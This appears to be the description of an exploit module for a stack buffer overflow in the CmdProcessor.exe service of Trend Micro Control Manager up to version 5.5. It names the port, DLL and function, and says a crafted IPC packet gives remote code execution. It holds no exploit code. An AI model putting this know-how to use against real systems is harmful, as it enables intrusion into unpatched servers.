                    This module exploits a vulnerability in the CmdProcessor.exe component of Trend
                Micro Control Manger up to version 5.5.
                    The specific flaw exists within CmdProcessor.exe service running on TCP port
                20101. The vulnerable function is the CGenericScheduler::AddTask function of
                cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
                controlled data is copied into a 256-byte stack buffer. This can be exploited
                to execute remote code under the context of the user.
